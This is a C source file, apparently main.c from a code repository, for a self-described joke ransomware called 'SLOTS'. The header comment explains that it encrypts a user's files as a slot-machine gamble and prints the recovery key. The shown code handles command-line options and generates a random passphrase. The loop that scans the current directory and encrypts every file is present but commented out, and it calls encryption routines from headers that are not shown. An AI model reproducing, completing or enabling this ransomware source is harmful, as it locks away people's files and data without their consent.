summaryrefslogtreecommitdiff
path: root/src/main.c
blob: ce20fa06433732271b07b198f60b183f71bd9b28 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
/***
 * SLOTS - Feelin' Lucky?
 *
 * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
 * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
 * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
 *
 *
*/

#define _GNU_SOURCE

#include "encryption.h"
#include "search.h"
#include "ll.h"

#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <argp.h>
#include <time.h>

#include <stdio.h>

#define PHRASESIZE 32

const char *argp_program_version = "Alpha-0.1";
const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)";

static char doc[] = "lol";
static char argdoc[] = "lmao";

static struct argp_option options[] = {
    {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0},
    {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0},
    {0}
};

struct arguments {
    char *inputpass;
    int skipslots;
};

static error_t parse_opt(int key, char *arg, struct argp_state *state) {
    struct arguments *args = state->input;

    switch(key) {
        case 'p':
            args->inputpass = arg;
            break;

        case 'd':
            args->skipslots = 1;
            break;

        default:
            return ARGP_ERR_UNKNOWN;
    }

    return 0;
}

static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0};

// Stolen from stackoverflow. Thanks Laurence (https://stackoverflow.com/a/822361)
int randint(int n) {
    if ((n - 1) == RAND_MAX) {
        return random();
    } else {
        // Supporting larger values for n would requires an even more
        // elaborate implementation that combines multiple calls to rand()
        assert (n <= RAND_MAX);

        // Chop off all of the values that would cause skew...
        int end = RAND_MAX / n; // truncate skew
        assert (end > 0);
        end *= n;

        // ... and ignore results from rand() that fall above that limit.
        // (Worst case the loop condition should succeed 50% of the time,
        // so we can expect to bail out of this loop pretty quickly.)
        int r;
        while ((r = random()) >= end);

        return r % n;
    }
}

char* genphrase(size_t phrasesize) {
    char *phrase = calloc(phrasesize, sizeof(char));
    if(phrase == NULL) {
        error(0, errno, "Couldn't allocate space for generating random phrase");
        return NULL;
    }

    for(size_t i = 0; i < phrasesize; i++) {
        phrase[i] = randint(25 + 1) + 65;
        if(random() > RAND_MAX / 2)
            phrase[i] += 32;
    }

    return phrase;
}


int main(int argc, char *argv[]) {
    struct arguments args;
    args.inputpass = NULL;
    args.skipslots = 0;

    argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args);

    if(args.inputpass != NULL) {
        if(strlen(args.inputpass) != PHRASESIZE) {
            error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE);
        }

        printf("Using input passphrase \"%s\"\n", args.inputpass);
    } else {
        // Fuck you
        srandom((unsigned int)time(NULL));

        char phrase[PHRASESIZE];
        for(size_t i = 0; i < sizeof(phrase); i++) {
            phrase[i] = randint(25 + 1) + 65;
            if(random() > (RAND_MAX / 2))
                phrase[i] += 32;
        }

        printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase);
        
        if(args.skipslots == 0) {
            printf("Hit Enter to contine, or CTRL+C to cancel...");
            getchar();
        }
    }

    /* Get files
    struct nodelist *files = scanfiles("./", alphasort);

    // Encrypt those files
    for(struct nodelist *p = files; p != NULL; p = p->next) {
        int fd = open(p->fullpath, O_RDWR);
        if(fd < 0) {
            error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
            continue;
        }

        passencblock(fd, phrase);
        close(fd);
    }

    nodelist_delete(files);
    //*/

    return 0;
}